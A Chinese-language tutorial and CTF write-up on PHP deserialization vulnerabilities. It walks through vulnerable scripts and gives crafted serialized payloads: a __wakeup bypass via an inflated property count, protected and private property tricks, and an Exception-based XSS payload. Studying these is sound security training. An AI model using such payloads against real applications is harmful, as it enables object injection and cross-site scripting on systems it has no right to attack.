序列化漏洞
PHP序列化与反序列化理论
序列号理论
所谓序列化,就是将一个变量的数据转换为字符串(但是与类型转换不同)。其目的是将该字符串存储起来(存为文本文件),当在其他环境上运行时,可以通过反序列化,将其恢复。(一般用在数据需要存储的地方)
简单讲:就是打包(序列化)与拆包(反序列化)
序列号代码
serialize() // 将一个对象转换成一个字符串
unserialize() // 将字符串还原成一个对象
实战案例与解题思路
案例1:无类序列化
<?php
error_reporting(0);
include "flag.php";
$KEY = "derry";
$str = $_GET['x'];
if(unserialize($str)===$KEY)
{
echo "$flag" ."</br>";
}
show_source(__FILE__);
?>
<?php
$flag ='this flag';
?>
1.php文件里 ==== 是全等判断符
那么当 unserialize($str) 全等于 $KEY ,if代码执行得到 $flag
要想 unserialize($str) 全等于 $KEY
那么 $str 就要等于 serialize($KEY)
又因为 $KEY = "derry"
那么`$str`=s:5:"derry";
最后访问127.0.0.1/1.php?x=s:5:"derry";
案例2:CTF真题
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else
{
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body><br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button" /></p>
</form>
</div>
</body>
</html>
<?php
}
$KEY = 'ISecer:www.isecer.com';
?>
找到传输入口,发现拿到$flag,需要满足 unserialize($cookie) === "$KEY"
然后发现 $cookie = $_COOKIE['ISecer'];
$KEY = 'ISecer:www.isecer.com';
但 $KEY = 'ISecer:www.isecer.com'; 在最下面,所以该代码无效,所以 $KEY=""
因为 $cookie = $_COOKIE['ISecer']; 会使 unserialize($cookie) 里$cookie的值恒等于 'ISecer' ,所以不能使用浏览器
因此基于以上信息,得使用BP修改 $cookie 的值,让其等于 s:0:"";
结果:
案例3:类序列化
<?php
class Person{
public $name = 'derry';
public $age = 18;
}
$p = new Person();
$obj = serialize($p);
print_r($obj);
?>
访问http://127.0.0.1/2.php ,得到 O:6:"Person":2:{s:4:"name";s:5:"derry";s:3:"age";i:18;}
反序列化代码
<?php
$clz = 'O:6:"Person":2:{s:4:"name";s:5:"derry";s:3:"age";i:18;}';
print_r(unserialize($clz));
?>
访问结果:对象不完整
修改3.php代码:
<?php
class Person{
public $name = 'derry';
public $age = 18;
}
$clz = 'O:6:"Person":2:{s:4:"name";s:8:"derry666";s:3:"age";i:18;}';
$per = unserialize($clz);
print_r($clz);
echo "</br>";
echo $per->name;
echo "</br>";
echo $per->age;
?>
# 修改逻辑:因为之前3.php文里没有定义`Person`类
访问结果:成功
真题1:2020-网鼎杯-青龙组-Web-AreUSerialz
<?php
class NewFlag {
public static function getFlag($fileName) {
$res = "flag error";
if($fileName ==="NewFlag.php") {
$res = "flag:{this is flag}";
}
return $res;
}
}
?>
<?php
include("NewFlag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = NewFlag::getFlag($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str); // __wakeup
}
} // __destruct
?>
由于传输入口在ctr2.php,所以重点分析该文件
发现 isset() 和 construct(),但未发现 __wakeup 和 new
不过当代码执行完后,会执行 __destruct ,所以对其进行分析
发现
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
因为上面的代码会调用 process() ,所以继续分析 process()
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
然后通过查找 write() 和 read() ,发现 read() 里有 NewFlag
所以为了使 process() 调用 read() 就要使 $this->op == "2" 和执行 __destruct
回到传输入口发现 $obj = unserialize($str)
也就是说要想执行 __destruct ,就要让 $str = serialize($obj)
而 $obj 其实也就是对象FileHandler,因为没有别的了
FileHandler 有三个属性:
protected $op;
protected $filename;
protected $content;
$op 要让其等于" 2"
因为加上空格就可以防止让"2"改成"1"
而 $filename 要等于 "NewFlag.php"
因为在 read() 里这样做就可以调用NewFlag.php
这样又会使NewFlag.php里 $fileName ==="NewFlag.php" 的条件满足,从而最终拿到flag
序列化代码1
<?php
class FileHandler {
protected $op=" 2";
protected $filename="NewFlag.php";
protected $content="cs";
}
$fh = new FileHandler();
echo (serialize($fh));
?>
结果:失败,看图1
将 (serialize($fh)); 加上 urlencode 用于将 URL 中的特殊字符编码为合法格式
序列化代码2
<?php
class FileHandler {
protected $op=" 2";
protected $filename="NewFlag.php";
protected $content="cs";
}
$fh = new FileHandler();
echo urlencode(serialize($fh));
?>
结果:什么都没有,看图2
将 protected 改成 public 因为它是最宽松的访问权限
序列化代码3
<?php
class FileHandler {
public $op=" 2";
public $filename="NewFlag.php";
public $content="cs";
}
$fh = new FileHandler();
echo serialize($fh);
?>
最后将phpStudy 2018的版本换成php-7.2.10-nts + Apache
因为
结果:成功,看图3
图1
图2
图3
真题2-[极客大挑战2019]PHP
访问buuoj.cn/challenges#…
找到[极客大挑战2019]PHP题目并开启靶机
目标网站图
使用7kbscan选择备份字典扫描目录
得到http://58312815-5137-4e97-bf1f-e9466be6fb3a.node5.buuoj.cn:81/www.zip
查看下载的www文件夹,分析里面的index.php
先找传输入口
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
发现 include 引用了文件class.php
分析class.php代码,优先查找 __wakeup
function __wakeup(){
$this->username = 'guest';
}
没什么线索,再查找 __destruct
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
发现flag,分析得出要满足 password = 100 和 username === 'admin' 就可以成功
但如果存在 __wakeup 方法,调用 unserilize() 方法前则先调用 __wakeup 方法
又因为序列化字符串中表示对象属性个数大于真实的属性个数时,会跳过 __wakeup 的执行
所以只需要把属性2改成3即可
先用序列化代码
<?php
class Name{
private $username = "admin";
private $password = 100;
}
$n = new Name();
echo serialize($n);
?>
得到 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
但是序列化执⾏有问题,要在每个属性前面的Name左右加 %00
最终得到 O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
结果图
CTF-XSS
<?php
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>
由于ctf_xss.php没有看到类,所以用clz.php文件来找php原生类
http://127.0.0.1/clz.php 访问后并右键查看源代码:
找到 Exception::__toString 因为它用于PHP5、7、8,是所有用户级异常的基类
所以用 Exception 来编写的代码便可以成功让ctf_xss.php执行 alert(1) 弹出提示框等
<?php
$e = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($e));
?>
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
结果图
总结
在寻找序列化漏洞的时候,第一步应该先找传输入口,然后魔术方法的调用关系来找flag,最后在编写序列化php或反序列化php来制作序列化字符串。